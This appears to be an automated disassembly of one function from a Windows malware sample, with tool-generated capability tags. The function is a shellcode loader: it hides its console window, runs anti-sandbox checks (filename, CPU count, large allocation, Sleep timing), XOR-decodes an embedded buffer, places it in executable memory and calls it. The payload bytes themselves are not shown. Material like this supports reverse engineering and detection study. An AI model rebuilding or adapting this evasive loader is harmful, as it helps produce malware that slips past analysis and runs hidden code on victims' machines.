Function at 0x401550
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x590
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x530], ecx
mov qword [rbp + 0x538], rdx
call fcn.00401af0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x4f0], rax
mov rax, qword [rbp + 0x4f0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x538]
mov rax, qword [rax]
lea rdx, str.QVQ8UcE4KNEt6JO.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x4015f8
mov dword [rbp + 0x4ec], 0
movabs rax, 0x475647290
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x508], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x500], 0
jmp 0x401612
mov ecx, 0
call sub.msvcrt.dll_exit
add qword [rbp + 0x508], 1
add qword [rbp + 0x500], 1
mov rax, qword [rbp + 0x500]
cmp rax, qword [rbp + 0x4e0]
jl 0x401602
mov rax, qword [rbp + 0x508]
cmp rax, qword [rbp + 0x4e0]
je 0x40163c
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x4a0]
mov dword [rbp + 0x4dc], eax
cmp dword [rbp + 0x4dc], 1
jg 0x40166e
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x4d0], 0
mov ecx, 0xba69b49
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4d0], rax
cmp qword [rbp + 0x4d0], 0
je 0x4016ae
mov rax, qword [rbp + 0x4d0]
mov r8d, 0xba69b49
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x4cc], eax
mov ecx, 0x17aa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x4c8], eax
mov eax, dword [rbp + 0x4c8]
sub eax, dword [rbp + 0x4cc]
cmp eax, 0x17a9
jg 0x4016f7
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x4d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0x4c0], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
call sub.KERNEL32.dll_VirtualAllocExNuma
cdqe
mov qword [rbp + 0x4c0], rax
cmp qword [rbp + 0x4c0], 0
je 0x40192e
lea rcx, str.cTSUfVCkju
call sub.msvcrt.dll_printf
lea rax, [rbp + 0x280]
lea rdx, [0x00405020]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rax, [rax + 1]
lea rdx, [rdx + 1]
mov rax, qword [0x00405220]
mov rdx, qword [0x00405228]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rdx
mov rax, qword [0x00405230]
mov rdx, qword [0x00405238]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rdx
mov rax, qword [0x00405240]
mov rdx, qword [0x00405248]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
mov rax, qword [0x00405250]
mov rdx, qword [0x00405258]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdx
mov rax, qword [0x00405260]
mov rdx, qword [0x00405268]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdx
mov rax, qword [0x00405270]
mov rdx, qword [0x00405278]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rdx
mov rax, qword [0x00405280]
mov rdx, qword [0x00405288]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rdx
mov rax, qword [0x00405290]
mov rdx, qword [0x00405298]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rdx
mov rax, qword [0x004052a0]
mov rdx, qword [0x004052a8]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdx
mov rax, qword [0x004052b0]
mov rdx, qword [0x004052b8]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], rdx
mov rax, qword [0x004052c0]
mov rdx, qword [0x004052c8]
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rdx
mov rax, qword [0x004052d0]
mov rdx, qword [0x004052d8]
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], rdx
mov eax, dword [0x004052e0]
mov dword [rbp + 0x270], eax
movzx eax, byte [0x004052e4]
mov byte [rbp + 0x274], al
mov dword [rbp + 0x4fc], 0
mov dword [rbp + 0x4f8], 0
jmp 0x40198a
mov ecx, 0
call sub.msvcrt.dll_exit
cmp dword [rbp + 0x4fc], 0xc4
jne 0x40194e
mov dword [rbp + 0x4fc], 0
mov eax, dword [rbp + 0x4f8]
cdqe
movzx edx, byte [rbp + rax + 0x280]
mov eax, dword [rbp + 0x4fc]
cdqe
movzx eax, byte [rbp + rax + 0x1b0]
xor edx, eax
mov eax, dword [rbp + 0x4f8]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x4fc], 1
add dword [rbp + 0x4f8], 1
mov eax, dword [rbp + 0x4f8]
cmp eax, 0x1fe
jbe 0x401938
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ff
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x4b8]
mov rdx, rax
lea rax, [rbp - 0x50]
mov ecx, 0x1ff
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
mov edx, ecx
shr edx, 3
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x4b8]
call rax
mov eax, 0
add rsp, 0x590
pop rsi
pop rdi
pop rbp
ret